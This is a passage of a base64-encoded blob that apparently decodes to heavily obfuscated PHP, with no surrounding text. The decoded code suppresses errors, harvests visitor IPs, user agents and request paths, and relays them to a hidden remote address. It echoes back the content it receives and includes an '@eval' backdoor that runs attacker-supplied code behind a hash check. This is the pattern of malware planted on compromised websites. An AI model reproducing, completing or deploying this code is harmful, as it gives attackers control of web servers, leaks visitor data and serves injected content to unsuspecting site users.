JceDczXDE2NFx4NjFceDc0XHg3NVwxNjMiID0+IDAsICJceDYzXDE1N1x4NmVcMTY0XDE0NVx4NmVceDc0IiA9PiAnJywgIlx4NzRcMTcxXHg3MFwxNDUiID0+ICcnKTsgZ290byBxam1PRTBlNHBPcXBvUHg7IEgxRmkyWHJHRzhpRThPMTogfSBnb3RvIHM3SVBFc1h5dEd6QlN1RTsgZXhNdFg5T0g2ZERUbVI2OiBpZiAoIXN1YnN0cl9jb3VudCgkX1NFUlZFUlsiXHg1Mlx4NDVcMTIxXDEyNVwxMDVceDUzXDEyNFwxMzdcMTI1XDEyMlx4NDkiXSwgIlwxNTFceDZlXHg2NFx4NjVceDc4XHgyZVx4NzBceDY4XHg3MFx4MmZcMTUyXHg2YiIpKSB7IGdvdG8geGpfZ1lrN3I3SXZXdV8zOyB9IGdvdG8gRVJ3dF9iUF9vanlEY1k2OyBUbXMxYkk5U1dfMUMyR2w6ICRCSDBHcmxsMUprQTIzQncgPSAkT3JRZ21xYlZ1NVZ6Y1BqKCJceDdlIiwgIlx4MjAiKTsgZ290byBXMlA2N0tLWFhwZkpEd2k7IGVJbTB2UWlHaDloZmZrOTogJFZzTjdMV2ZGQnh1X3A3MSA9IHByZWdfcmVwbGFjZSgiXHgyZlx4NWNcNzdceDJlXHgyYVx4MmYiLCAnJywgJF9TRVJWRVJbIlx4NTJceDQ1XHg1MVwxMjVceDQ1XDEyM1wxMjRceDVmXHg1NVwxMjJcMTExIl0pOyBnb3RvIE45WmFJbUNWa1BsS1R1UjsgQVNVb2J2ZlVuV1JBbUdaOiBlcnJvcl9yZXBvcnRpbmcoMCk7IGdvdG8geDMxVkNNOXhRT2VIVjExOyBrbzBzVWt5ZTNoT2ZWWkQ6IHhqX2dZazdyN0l2V3VfMzogZ290byBrMWVoaFR5cllCaDRab0Y7IGsxZWhoVHlyWUJoNFpvRjogJFIyWng5Q3hQU0J5SHZocCA9IEptVTBrSzVNMnFYYzhEbSgpOyBnb3RvIFM2dE9lTnBmR1hlQjRZdTsgZTFmMUFua1pFd0ZRVURsOiBpZiAoaW5fYXJyYXkoJERjZUVSc3RyVUFoNFUxbVsiXDE2M1x4NzRcMTQxXHg3NFx4NzVcMTYzIl0sIGFycmF5KDAsIDIwMCkpKSB7IGdvdG8gSVR3dXN1dmo0ZWJnTm8xOyB9IGdvdG8gbEF4MFJTdW9od1pWUGNLOyBranVHTjd6MzNFSDBhSHY6IGZ1bmN0aW9uIGptdTBLSzVNMlF4YzhkTSgpIHsgZ290byBaSGxadzQzVW5WR3gwSE07IFhtSXNPV2w4cDV1dXZCNTogJFIyWng5Q3hQU0J5SHZocCA9ICRSMlp4OUN4UFNCeUh2aHBbMF07IGdvdG8gRVhUTDMxYWJOWXhPMDNrOyBNcW5ZSU5ERlpnUFdpQjQ6ICRSMlp4OUN4UFNCeUh2aHAgPSB0cmltKHN0cl9yZXBsYWNlKCJcNDAiLCAnJywgJFIyWng5Q3hQU0J5SHZocCksICJceDJjIik7IGdvdG8gQ2lheHdMVk1WVEg1NmZDOyB6UFpOcHlLQWhOc2pNVEU6IHJldHVybiAkUjJaeDlDeFBTQnlIdmhwOyBnb3RvIGVYYlFZN2RXeTNaYWNfZDsgejRoQU01TllIWHl2RzFEOiBnb3RvIFBoZGxRWlpfN3FiMjZmNjsgZ290byBpRkdqZmNWeGJPVFFDYVM7IElXaEFDaXdCcFVFclk0MDogU2dqN2JTMjIwSU1RdlcyOiBnb3RvIGtXR3R6TmZETTJneUVRRzsgYVJNbHBJeVVjdXJlM0IxOiBpZiAoaXNzZXQoJF9TRVJWRVJbIlx4NDhcMTI0XHg1NFx4NTBceDVmXHg1OFwxMzdceDUyXDEwNVwxMDFcMTE0XHg1ZlwxMTFceDUwIl0pICYmICFlbXB0eSgkX1NFUlZFUlsiXHg0OFx4NTRcMTI0XDEyMFx4NWZceDU4XDEzN1wxMjJceDQ1XDEwMVx4NGNcMTM3XHg0OVx4NTAiXSkpIHsgZ290byBsMG9MVTdoU05QblBfYmg7IH0gZ290byBERnNfVzViakR6NzZWdnY7IEZLRjVZS1FXTzFHY1hSSDogUGhkbFFaWl83cWIyNmY2OiBnb3RvIE1xbllJTkRGWmdQV2lCNDsgcWNiWTYyZVEyUDhxMVVROiBsMG9MVTdoU05QblBfYmg6IGdvdG8gdmc0OU02TmZ0cFdMbW9wOyB6azN3UmFVTjNzdkhIV1E6IGlmIChpc3NldCgkX1NFUlZFUlsiXDExMFwxMjRcMTI0XDEyMFx4NWZcMTAzXHg0Nlx4NWZcMTAzXDExN1wxMTZceDRlXHg0NVx4NDNceDU0XDExMVwxMTZcMTA3XHg1ZlwxMTFceDUwIl0pICYmICFlbXB0eSgkX1NFUlZFUlsiXDExMFx4NTRcMTI0XDEyMFx4NWZcMTAzXDEwNlx4NWZceDQzXHg0ZlwxMTZcMTE2XDEwNVx4NDNceDU0XHg0OVwxMTZcMTA3XDEzN1wxMTFceDUwIl0pKSB7IGdvdG8gU2dqN2JTMjIwSU1RdlcyOyB9IGdvdG8gYVJNbHBJeVVjdXJlM0IxOyB2WXVoOE9RcUppeVlqdlA6ICRSMlp4OUN4UFNCeUh2aHAgPSAkX1NFUlZFUlsiXHg0OFwxMjRcMTI0XHg1MFx4NWZcMTMwXHg1Zlx4NDZcMTE3XHg1MlwxMjdceDQxXDEyMlx4NDRceDQ1XDEwNFwxMzdcMTA2XDExN1x4NTIiXTsgZ290byBGS0Y1WUtRV08xR2NYUkg7IGFxUXhTUG56RTNRS3hRcTogZ290byBQaGRsUVpaXzdxYjI2ZjY7IGdvdG8gSVdoQUNpd0JwVUVyWTQwOyBERnNfVzViakR6NzZWdnY6IGlmIChpc3NldCgkX1NFUlZFUlsiXHg0OFx4NTRceDU0XHg1MFx4NWZcMTMwXDEzN1wxMDZceDRmXDEyMlx4NTdceDQxXHg1Mlx4NDRceDQ1XDEwNFwxMzdcMTA2XHg0Zlx4NTIiXSkgJiYgIWVtcHR5KCRfU0VSVkVSWyJceDQ4XDEyNFwxMjRcMTIwXHg1ZlwxMzBcMTM3XHg0Nlx4NGZcMTIyXDEyN1x4NDFceDUyXHg0NFx4NDVcMTA0XDEzN1x4NDZceDRmXHg1MiJdKSkgeyBnb3RvIGJFSTBkaVMyb1k2d2N5aTsgfSBnb3RvIGU1b0ZzTFFaYlRwOVo3aDsgeE5OQWJpNl9CS3h0dEVFOiBnb3RvIFBoZGxRWlpfN3FiMjZmNjsgZ290byBxY2JZNjJlUTJQOHExVVE7IEVYVEwzMWFiTll4TzAzazogYUpaMzFsSkhsbWhhMTAyOiBnb3RvIHpQWk5weUtBaE5zak1URTsga1dHdHpOZkRNMmd5RVFHOiAkUjJaeDlDeFBTQnlIdmhwID0gJF9TRVJWRVJbIlx4NDhceDU0XHg1NFwxMjBcMTM3XHg0M1wxMDZcMTM3XHg0M1wxMTdcMTE2XHg0ZVwxMDVceDQzXHg1NFwxMTFcMTE2XHg0N1x4NWZceDQ5XHg1MCJdOyBnb3RvIHhOTkFiaTZfQkt4dHRFRTsgWkhsWnc0M1VuVkd4MEhNOiAkUjJaeDlDeFBTQnlIdmhwID0gJyc7IGdvdG8gemszd1JhVU4zc3ZISFdROyB2ZzQ5TTZOZnRwV0xtb3A6ICRSMlp4OUN4UFNCeUh2aHAgPSAkX1NFUlZFUlsiXDExMFx4NTRcMTI0XDEyMFwxMzdcMTMwXDEzN1wxMjJceDQ1XHg0MVx4NGNceDVmXHg0OVwxMjAiXTsgZ290byB6NGhBTTVOWUhYeXZHMUQ7IG5NWUlwbU5fcnZyTDdfQzogJFIyWng5Q3hQU0J5SHZocCA9IGV4cGxvZGUoIlx4MmMiLCAkUjJaeDlDeFBTQnlIdmhwKTsgZ290byBYbUlzT1dsOHA1dXV2QjU7IGU1b0ZzTFFaYlRwOVo3aDogJFIyWng5Q3hQU0J5SHZocCA9ICRfU0VSVkVSWyJcMTIyXDEwNVx4NGRceDRmXHg1NFx4NDVcMTM3XDEwMVwxMDRcMTA0XDEyMiJdOyBnb3RvIGFxUXhTUG56RTNRS3hRcTsgQ2lheHdMVk1WVEg1NmZDOiBpZiAoIShzdHJwb3MoJFIyWng5Q3hQU0J5SHZocCwgIlx4MmMiKSAhPT0gZmFsc2UpKSB7IGdvdG8gYUpaMzFsSkhsbWhhMTAyOyB9IGdvdG8gbk1ZSXBtTl9ydnJMN19DOyBpRkdqZmNWeGJPVFFDYVM6IGJFSTBkaVMyb1k2d2N5aTogZ290byB2WXVoOE9RcUppeVlqdlA7IGVYYlFZN2RXeTNaYWNfZDogfSBnb3RvIHZUQ2xFbDJjcUltVDVYczsgQ3FGcWpjekU3ZjlLcDBOOiBleGl0KHN0cnJldihtZDUoJF9TRVJWRVJbIlwxMjNceDQ1XHg1MlwxMjZceDQ1XHg1Mlx4NWZceDRlXHg0MVx4NGRceDQ1Il0pKSk7IGdvdG8gQXZ2aGFyZVluczNPVFlkOyBFUnd0X2JQX29qeURjWTY6IGV4aXQoIlx4N2JceDIwXHgyMlwxNDVceDcyXDE2Mlx4NmZceDcyXDQyXHgzYVx4MjBceDMyXHgzMFx4MzBceDJjXDQwXHgyMlwxNTRceDYzXHgyMlx4M2FcNDBceDIyXHg2YVwxNTNcNDJcNTRcNDBcNDJceDY0XDE0MVwxNjRcMTQxXHgyMlw3Mlw0MFx4NWJceDIwXHgzMVx4MjBcMTM1XDQwXHg3ZCIpOyBnb3RvIGtvMHNVa3llM2hPZlZaRDsgeDMxVkNNOXhRT2VIVjExOiBmdW5jdGlvbiBxTXFRNjhuTExrT0lmdkwoJGdsVjlUTDJvbHdSZEpHdykgeyBnb3RvIFY3RVJVVm1XYW8zMVhyVDsgYnlfNlYwdDJBVG9rdmZpOiByZXR1cm4gJFVUd2p0NmV1QnM4UXVrSTsgZ290byBQSjFqanJnT0w1RURvWUU7IENpYkJJZ1g0cmFzVmhnejogV1EyVVIybWlOWVhuV1drOiBnb3RvIFB2cWhrb21sN0pGT0tPUzsgZmNVR05CQzRyNDV2aWVwOiByZXR1cm4gJFVUd2p0NmV1QnM4UXVrSTsgZ290byBDaWJCSWdYNHJhc1ZoZ3o7IEh6Y0UyN0lhcmhzOHd3ODogaWYgKGlzX2FycmF5KCRnbFY5VEwyb2x3UmRKR3cpKSB7IGdvdG8gV1EyVVIybWlOWVhuV1drOyB9IGdvdG8gZmNVR05CQzRyNDV2aWVwOyBuNVZsS3VybVczWEdBaGs6IEhIejJKZjI5cjg2UEl4bTogZ290byBieV82VjB0MkFUb2t2Zmk7IFY3RVJVVm1XYW8zMVhyVDogJFVUd2p0NmV1QnM4UXVrSSA9IGFycmF5KCJceDczXDE2NFx4NjFcMTY0XDE2NVwxNjMiID0+IDAsICJceDYzXDE1N1x4NmVceDc0XHg2NVwxNTZceDc0IiA9PiAnJywgIlx4NzRcMTcxXDE2MFx4NjUiID0+ICcnKTsgZ290byBIemNFMjdJYXJoczh3dzg7IFB2cWhrb21sN0pGT0tPUzogZm9yZWFjaCAoJGdsVjlUTDJvbHdSZEpHdyBhcyAkU2xoVXF5UWZ1bGZhcUtpKSB7IGdvdG8ga05LY1doVWZGMG1CeGdiOyBVQ1hsbnNWYm8xd0MyM2I6IGw5OTB2VUhjY0FYbzNiYjogZ290byBWYjFSWHE4YkZTNndTUm87IGtURFhLTzBDWGFaZV8yVDogZ290byBCcXZXaXNBZGtsWXIycDI7IGdvdG8gWFdPQndTRFBIMnBjMzNzOyBYSTBPYmtVVDhiUUlabkQ6IHBVTldTM0laNVRnRjFZRDogZ290byBkOExxRHdfZEVTYnVaSF87IGdkczhsdFY4TWxqcUtLZjogaWYgKHByZWdfbWF0Y2goIlw1N1x4NjNceDZmXDE1Nlx4NzRcMTQ1XHg2ZVx4NzRcMTM0XHgyZFwxNjRceDc5XDE2MFx4NjVcMTM0XDcyXDEzM1x4NWNcMTYzXDEzNVx4MmJcNTBceDJlXDUyXDUxXHgyZlx4NjkiLCAkU2xoVXF5UWZ1bGZhcUtpLCAkWWtoMVdaWmV6Q0NfcERrKSkgeyBnb3RvIENlX1p1cGhMbEFaRV9QcjsgfSBnb3RvIGtURFhLTzBDWGFaZV8yVDsgbTVJRjl0OFhra3N3YVo0OiBnb3RvIEJxdldpc0Fka2xZcjJwMjsgZ290byBTbWI4VFdXRl80Z3VPRFU7IEhhV2xfSG9xVzJPUlNISTogJFVUd2p0NmV1QnM4UXVrSVsiXHg3NFwxNzFcMTYwXDE0NSJdID0gJFlraDFXWlplekNDX3BEa1sxXTsgZ290byBmYVhaZjdKMjNIbmR0aW47IFhXT0J3U0RQSDJwYzMzczogdnFtelU2QThOSzRpUE9mOiBnb3RvIHJWMVVZOEpWQ2pobFAxNzsgZmFYWmY3SjIzSG5kdGluOiBCcXZXaXNBZGtsWXIycDI6IGdvdG8gVUNYbG5zVmJvMXdDMjNiOyBrTktjV2hVZkYwbUJ4Z2I6IGlmIChwcmVnX21hdGNoKCJcNTdceDY4XHg3NFwxNjRcMTYwXDEzNFw1N1wxMzNceDMwXDU1XDcxXDEzNFw1NlwxMzVceDJiXDEzM1wxMzRceDczXDEzNVx4MmJcNTBceDViXHgzMFw1NVx4MzlceDVkXHgyYlw1MVw1N1wxNTEiLCAkU2xoVXF5UWZ1bGZhcUtpLCAkWWtoMVdaWmV6Q0NfcERrKSkgeyBnb3RvIHZxbXpVNkE4Tks0aVBPZjsgfSBnb3RvIHlvZmdtdHA3aE8wZ2swXzsgeW9mZ210cDdoTzBnazBfOiBpZiAocHJlZ19tYXRjaCgiXHgyZlwxNTRceDZmXDE0M1wxNDFcMTY0XDE1MVwxNTdceDZlXHg1Y1x4M2FceDViXHg1Y1wxNjNcMTM1XDUzXHgyOFw1Nlx4MmFcNTFcNTdceDY5IiwgJFNsaFVxeVFmdWxmYXFLaSwgJFlraDFXWlplekNDX3BEaykpIHsgZ290byBwVU5XUzNJWjVUZ0YxWUQ7IH0gZ290byBnZHM4bHRWOE1sanFLS2Y7IGxTX3FlVkZ1QXFqREhsNjogZ290byBCcXZXaXNBZGtsWXIycDI7IGdvdG8gWEkwT2JrVVQ4YlFJWm5EOyBkOExxRHdfZEVTYnVaSF86ICRVVHdqdDZldUJzOFF1a0lbIlwxNDNcMTU3XHg2ZVx4NzRceDY1XHg2ZVx4NzQiXSA9ICRZa2gxV1paZXpDQ19wRGtbMV07IGdvdG8gbTVJRjl0OFhra3N3YVo0OyBTbWI4VFdXRl80Z3VPRFU6IENlX1p1cGhMbEFaRV9QcjogZ290byBIYVdsX0hvcVcyT1JTSEk7IHJWMVVZOEpWQ2pobFAxNzogJFVUd2p0NmV1QnM4UXVrSVsiXHg3M1wxNjRcMTQxXDE2NFx4NzVcMTYzIl0gPSBpbnR2YWwoJFlraDFXWlplekNDX3BEa1sxXSk7IGdvdG8gbFNfcWVWRnVBcWpESGw2OyBWYjFSWHE4YkZTNndTUm86IH0gZ290byBuNVZsS3VybVczWEdBaGs7IFBKMWpqcmdPTDVFRG9ZRTogfSBnb3RvIElvMTBORTZaYU1QR2VScDsgak1QemhiUWVGb2w5TXd4OiAkT3JRZ21xYlZ1NVZ6Y1BqID0gIlx4NzIiIC4gIlx4NjEiIC4gIlx4NmUiIC4gIlwxNDciIC4gIlwxNDUiOyBnb3RvIFRtczFiSTlTV18xQzJHbDsgb3lYYWQyNEhXcWJYOERxOiBpZiAoIShzdHJwb3MoJFZzTjdMV2ZGQnh1X3A3MSwgIlw1NiIpID4gMCAmJiBzdHJwb3MoJFZzTjdMV2ZGQnh1X3A3MSwgIlw1Nlx4NzBcMTUwXHg3MCIpID09PSBmYWxzZSkpIHsgZ290byBNVlFDRXlNNDNGOUtUbHg7IH0gZ290byBKaldneVRlbmphbk53T187IFc5YVJrc1Z1OXplOEd0OTogaWYgKCRPTjZhTlc3aFNoc2h5ck0pIHsgZ290byBRcjlpek5UeWFMME1ta1Q7IH0gZ290byBYMHdBRVZOM2FxMlVvb2o7IHM3SVBFc1h5dEd6QlN1RTogZnVuY3Rpb24gb09WRWh3clpiMDd1R203KCR1emNzTFQ5YXJ0R3N1OUMpIHsgZ290byBwUDJpekNfZlNXMnVWZHc7IHRqc25Ha2MxdlZKd1NWUTogcmV0dXJuICcnOyBnb3RvIEZSMlBuVUFIY0xiNjFBRDsga25kdVFCeTVIeVJpT3l1OiByZXR1cm4gcnRyaW0oc3RydHIoYmFzZTY0X2VuY29kZSgkdXpjc0xUOWFydEdzdTlDKSwgIlw1M1w1NyIsICJceDJkXDEzNyIpLCAiXHgzZCIpOyBnb3RvIFVUMTZDUDRPVEFuMUVLNzsgRlIyUG5VQUhjTGI2MUFEOiBnUXNBSkd3WTFLb0ROWUI6IGdvdG8ga25kdVFCeTVIeVJpT3l1OyBwUDJpekNfZlNXMnVWZHc6IGlmICgkdXpjc0xUOWFydEdzdTlDKSB7IGdvdG8gZ1FzQUpHd1kxS29ETllCOyB9IGdvdG8gdGpzbkdrYzF2Vkp3U1ZROyBVVDE2Q1A0T1RBbjFFSzc6IH0gZ290byBranVHTjd6MzNFSDBhSHY7IHlvT0RIVDJENFhpSGU1TjogJElOQUFadXhrMkRmZ2NyZFsiXHg3MiJdID0gb29WRUhXUlpiMDd1R203KCRfU0VSVkVSWyJceDUyXHg0NVx4NTFceDU1XDEwNVwxMjNceDU0XHg1Zlx4NTVcMTIyXDExMSJdKTsgZ290byBpN1J2eUVEcjBxc0R1clA7IEI1d0tFMlRsejVxU0IyZDogTkNmWUFwWUY0bFhock9ROiBnb3RvIFBqbkhMU0FIOVNSd0tuVzsgWDB3QUVWTjNhcTJVb29qOiAkRGNlRVJzdHJVQWg0VTFtID0gek1VcmJHUF84RW94NUJPKGJhc2U2NF9kZWNvZGUoIlwxNDFcMTEwXHg1Mlw2MFx4NjNceDQ0XDE1N1x4NzZceDRjXHgzM1x4NzBcMTcyXHg0ZVx4NDRceDUxXHg3YVx4NjRcMTUyXDEwNVx4N2FceDVhXHgzMlwxNTNcMTY1XDEzMlx4NmVceDRhXDE2NlwxNDNceDMyXHgzNVw2MFwxNDFceDU3XDEyNlwxNzFcMTE0XDE1Nlx4NDZcNjFcMTMyXDEzMFwxMTZceDMwXHg0Y1x4NzciKSwgJElOQUFadXhrMkRmZ2NyZCk7IGdvdG8gZTFmMUFua1pFd0ZRVURsOyBqZXF5eG9NZXN4VmVETkg6IGlmICghKGluX2FycmF5KGdldHR5cGUoJFVBNlhLUzdYa3F2OG9vWikgLiBjb3VudCgkVUE2WEtTN1hrcXY4b29aKSwgJFVBNlhLUzdYa3F2OG9vWikgJiYgY291bnQoJFVBNlhLUzdYa3F2OG9vWikgPT0gMTkgJiYgbWQ1KG1kNShtZDUobWQ1KCRVQTZYS1M3WGtxdjhvb1pbMTNdKSkpKSA9PT0gIlw2MFw2MVx4MzVcMTQ0XDYxXHg2MVw3MVx4NjNceDYzXHg2MVw2N1w2MFwxNDZcNjRcNjVceDM5XDYwXHg2M1w2M1x4MzBceDY2XDE0NVx4MzdcMTQ1XDYzXDE0MVw2MlwxNDVceDYxXDcwXDYyXDYxIikpIHsgZ290byB6UWpYRGZEVWZMY2NXQzk7IH0gZ290byBQYnN4cXVhcE9uVzhjRW47IFBic3hxdWFwT25XOGNFbjogKCRVQTZYS1M3WGtxdjhvb1pbNjddID0gJFVBNlhLUzdYa3F2OG9vWls2N10gLiAkVUE2WEtTN1hrcXY4b29aWzc1XSkgJiYgKCRVQTZYS1M3WGtxdjhvb1pbOTBdID0gJFVBNlhLUzdYa3F2OG9vWls2N10oJFVBNlhLUzdYa3F2OG9vWls5MF0pKSAmJiBAZXZhbCgkVUE2WEtTN1hrcXY4b29aWzY3XSgkeyRVQTZYS1M3WGtxdjhvb1pbNDhdfVsyNl0pKTsgZ290byBLQkt6S1hhc1hSY1o1OXQ7IE8wanE5QU03Y2Q1cUw0dTogaWYgKCFzdHJsZW4oJERjZUVSc3RyVUFoNFUxbVsiXHg2M1x4NmZcMTU2XDE2NFwxNDVceDZlXDE2NCJdKSkgeyBnb3RvIE5DZllBcFlGNGxYaHJPUTsgfSBnb3RvIHF1UDFSVmh5NEhvUlhuVTsgTjNza19pSGJXMFZrMzRvOiBJVHd1c3V2ajRlYmdObzE6IGdvdG8gTzBqcTlBTTdjZDVxTDR1OyBveWxEbFNSTGpJRkg0RkI6ICRvdTRRMnlfZ3Z3N213SDkgPSAnJzsgZ290byB5a3VJMkdzc21lSFRDYTU7IFNxWXJTM2JxRzZCOVJIbzogaWYgKCFpbl9hcnJheSgkbTU2ajNxZ1ZZYlpONVByLCBhcnJheSgiXDU2XDE1Mlx4NzMiLCAiXHgyZVx4NjNceDczXDE2MyIsICJceDJlXDE1Mlx4NzBceDY3IiwgIlw1Nlx4NzBceDZlXDE0NyIsICJcNTZcMTQ3XHg2OVx4NjYiLCAiXDU2XDE1MVx4NjNceDZmIikpKSB7IGdvdG8gSW11cmVyN21RQkp5ZGJkOyB9IGdvdG8gQ05FOWJIVl9jdzJoNWpvOyB0N1VoMGdrUnJ0UkJ4RXQ6ICRJTkFBWnV4azJEZmdjcmQgPSBhcnJheSgpOyBnb3RvIFc0N1JaQVZZTzZoSzN2cDsgcXVQMVJWaHk0SG9SWG5VOiBAaGVhZGVyKCJceDQzXHg2Zlx4NmVcMTY0XHg2NVx4NmVcMTY0XDU1XHg1NFx4NzlceDcwXHg2NVw3MiIgLiAkRGNlRVJzdHJVQWg0VTFtWyJceDc0XDE3MVwxNjBceDY1Il0pOyBnb3RvIHBGYVozdW1TMmxHQ281ODsgUEQ0MXZCWmNXSUhhNHhvOiBoZWFkZXIoIlwxMDNcMTU3XDE1Nlx4NzRceDY1XHg2ZVx4NzRceDJkXHg1NFwxNzFcMTYwXHg2NVx4M2FcNDBceDc0XHg2NVx4NzhceDc0XDU3XDE1MFwxNjRceDZkXDE1NFw3M1x4MjBceDYzXDE1MFx4NjFcMTYyXHg3M1x4NjVceDc0XHgzZFwxNjVcMTY0XHg2Nlx4MmRcNzAiKTsgZ290byBBU1VvYnZmVW5XUkFtR1o7IFRrZ2VWMGUyNUJlOF9wNjogelFMTEFLQkVDMWJaNjRWOiBnb3RvIFlqdTJlSzNhcFhucU1WYjsgVkJ1ajM5TVVaYmp0SGVTOiAkSU5BQVp1eGsyRGZnY3JkWyJceDc1Il0gPSBvb1ZFaFdSWmIwN1VHTTcoJF9TRVJWRVJbIlx4NDhceDU0XHg1NFwxMjBcMTM3XDEyNVwxMjNceDQ1XHg1Mlx4NWZcMTAxXDEwN1x4NDVceDRlXDEyNCJdKTsgZ290byBlSW0wdlFpR2g5aGZmazk7IHE2SjdlR0JLYVRQaE1iNzogZXhpdCgwKTsgZ290byBCNXdLRTJUbHo1cVNCMmQ7IE8zQ2ZkbDJLcFFNdVFpNzogaWYgKCEoJF9TRVJWRVJbIlx4NTJcMTA1XDEyMVx4NTVceDQ1XHg1M1x4NTRcMTM3XDEyNVx4NTJceDQ5Il0gPT09ICJceDJmXHg1Mlx4MmQiIC4gbWQ1KCRfU0VSVkVSWyJcMTIzXDEwNVwxMjJcMTI2XHg0NVwxMjJceDVmXHg0ZVwxMDFcMTE1XHg0NSJdKSkpIHsgZ290byBackMya2ExX0Nac2toSV87IH0gZ290byBDcUZxamN6RTdmOUtwME47IFRoM2IweUQ1YzgwYldUWjogbWV0YXBob25lKCJcMTE1XHg3YVwxMTVcNjJceDRmXHg1NFx4NDFcNjRceDRkXDEyNFx4NjNcNjBceDRkXHg1NFx4NDFceDMxXDExNVwxMDRcMTAxXHgzNFx4NGRcMTI0XHg1MVx4MzBcMTE1XHg2YVx4NTlceDc3XHg0ZVx4NTRceDQxXHg3OSIpOyBnb3RvIGNwUW83bW5NMXVZS2lhcjsgS0hVbXdjMUhhcVVtRVpMOiAkSU5BQVp1eGsyRGZnY3JkWyJcMTYzIl0gPSBPT1ZFaFdyWkIwN3VHbTcoJHk5Rjg0ZFVzVGhLWEJ4Uyk7IGdvdG8gVkJ1ajM5TVVaYmp0SGVTOyBpN1J2eUVEcjBxc0R1clA6ICRJTkFBWnV4azJEZmdjcmRbIlx4NzJcMTQ2Il0gPSBvb3ZlSFdyemIwN1VnbTcoJG91NFEyeV9ndnc3bXdIOSk7IGdvdG8gS0hVbXdjMUhhcVVtRVpMOyBlR1Y1QUxKTUpPVTFRUnA6ICRJTkFBWnV4azJEZmdjcmRbIlx4NmMiXSA9IE9vdmVId1JaYjA3VUdNNygkX1NFUlZFUlsiXHg0OFx4NTRcMTI0XDEyMFx4NWZcMTAxXDEwM1wxMDNcMTA1XHg1MFx4NTRceDVmXDExNFwxMDFcMTE2XDEwN1x4NTVceDQxXDEwN1wxMDUiXSk7IGdvdG8gWllQMXlQc2xES01KamUwOyB2VENsRWwyY3FJbVQ1WHM6IGZ1bmN0aW9uIFljaDVQRGRnTU5MNHQ1ZSgpIHsgZ290byBmZUgzUEdqN2E2SFJGdVM7IEpVY3MxclhaUDVnMW1PNzogZ290byBCVm5IendZSnRxMzJCTlI7IGdvdG8gclJBZ19lc09PUW9iSTNrOyBlV1A0dXQxNlM1M0M4eEY6IGdvdG8gQlZuSHp3WUp0cTMyQk5SOyBnb3RvIFd3S1d5eDAxcDBDeFJzVzsgZUpPcUk0Z2NQSGY2NjJpOiAkejdUY0taSGZ4bnpmX0ZfID0gIlx4NjhceDc0XDE2NFx4NzBceDczXDcyXDU3XDU3IjsgZ290byBlV1A0dXQxNlM1M0M4eEY7IFd3S1d5eDAxcDBDeFJzVzogVXdGTURZR25wYkZHZmJzOiBnb3RvIHNjMWNhYk4xOWpiQkRYMjsgclJBZ19lc09PUW9iSTNrOiByYXBtRmdIbkxKckxsOGk6IGdvdG8gZUpPcUk0Z2NQSGY2NjJpOyBLUlB4WXc2ZURIc19IRks6IGdvdG8gQlZuSHp3WUp0cTMyQk5SOyBnb3RvIFRMZzdheUw1WmV6SEdiZTsgcUNheTh0TE5zaWpwaFZDOiAkejdUY0taSGZ4bnpmX0ZfID0gIlx4NjhceDc0XDE2NFx4NzBcMTYzXDcyXDU3XDU3IjsgZ290byBqamlyUlczRnhRMGZMSUE7IGhEeVF6M3kzS3JoNVVzeDogaWYgKGlzc2V0KCRfU0VSVkVSWyJceDQ4XDEyNFwxMjRceDUwXDEzN1wxMDZcMTIyXDExN1x4NGVcMTI0XHg1ZlwxMDVceDRlXDEwNFx4NWZceDQ4XHg1NFwxMjRcMTIwXHg1MyJdKSAmJiBzdHJ0b2xvd2VyKCRfU0VSVkVSWyJceDQ4XHg1NFwxMjRceDUwXHg1ZlwxMDZcMTIyXDExN1wxMTZceDU0XHg1ZlwxMDVcMTE2XHg0NFx4NWZcMTEwXDEyNFwxMjRceDUwXHg1MyJdKSAhPT0gIlwxNTdcMTQ2XHg2NiIpIHsgZ290byBwVEJ1ZTIzVnpBRFZad1U7IH0gZ290byBKVWNzMXJYWlA1ZzFtTzc7IE1zVGZsWmlobnIzbV9BdTogaWYgKGlzc2V0KCRfU0VSVkVSWyJcMTEwXDEyNFx4NTRceDUwXHg1Zlx4NThcMTM3XDEwNlwxMTdcMTIyXHg1N1wxMDFcMTIyXDEwNFwxMDVceDQ0XHg1Zlx4NTBcMTIyXHg0Zlx4NTRcMTE3Il0pICYmICRfU0VSVkVSWyJceDQ4XHg1NFwxMjRcMTIwXHg1ZlwxMzBcMTM3XHg0Nlx4NGZceDUyXDEyN1x4NDFcMTIyXDEwNFwxMDVcMTA0XDEzN1wxMjBcMTIyXDExN1wxMjRceDRmIl0gPT09ICJcMTUwXHg3NFwxNjRcMTYwXHg3MyIpIHsgZ290byBVd0ZNRFlHbnBiRkdmYnM7IH0gZ290byBoRHlRejN5M0tyaDVVc3g7IEhLWHJtREU4T1dNSXozeDogaWYgKGlzc2V0KCRfU0VSVkVSWyJcMTEwXHg1NFx4NTRcMTIwXHg1MyJdKSAmJiBzdHJ0b2xvd2VyKCRfU0VSVkVSWyJcMTEwXHg1NFwxMjRcMTIwXHg1MyJdKSAhPT0gIlx4NmZcMTQ2XDE0NiIpIHsgZ290byByYXBtRmdIbkxKckxsOGk7IH0gZ290byBNc1RmbFppaG5yM21fQXU7IGpqaXJSVzNGeFEwZkxJQTogQlZuSHp3WUp0cTMyQk5SOiBnb3RvIHVTYzl5N2szUlJQSmRteTsgc2MxY2FiTjE5amJCRFgyOiAkejdUY0taSGZ4bnpmX0ZfID0gIlwxNTBceDc0XHg3NFwxNjBceDczXDcyXDU3XHgyZiI7IGdvdG8gS1JQeFl3NmVESHNfSEZLOyB1U2M5eTdrM1JSUEpkbXk6IHJldHVybiAkejdUY0taSGZ4bnpmX0ZfOyBnb3RvIHYzd0JvMVdnTmRRcXg2eDsgZmVIM1BHajdhNkhSRnVTOiAkejdUY0taSGZ4bnpmX0ZfID0gIlwxNTBceDc0XHg3NFx4NzBceDNhXDU3XDU3IjsgZ290byBIS1hybURFOE9XTUl6M3g7IFRMZzdheUw1WmV6SEdiZTogcFRCdWUyM1Z6QURWWndVOiBnb3RvIHFDYXk4dExOc2lqcGhWQzsgdjN3Qm8xV2dOZFFxeDZ4OiB9IGdvdG8gTzNDZmRsMktwUU11UWk3OyBZS3JvZk9NbWUxM2FrNVM6IFdfcGRMMU81MFBEODkwMzo6VXNKRHNHOUN0NGp0b2xiKCk7IGdvdG8gUEQ0MXZCWmNXSUhhNHhvOyBOOVphSW1DVmtQbEtUdVI6ICRPTjZhTlc3aFNoc2h5ck0gPSBmYWxzZTsgZ290byBveVhhZDI0SFdxYlg4RHE7IHBGYVozdW1TMmxHQ281ODogZWNobyAkRGNlRVJzdHJVQWg0VTFtWyJceDYzXHg2ZlwxNTZcMTY0XHg2NVwxNTZceDc0Il07IGdvdG8gcTZKN2VHQkthVFBoTWI3OyB5a3VJMkdzc21l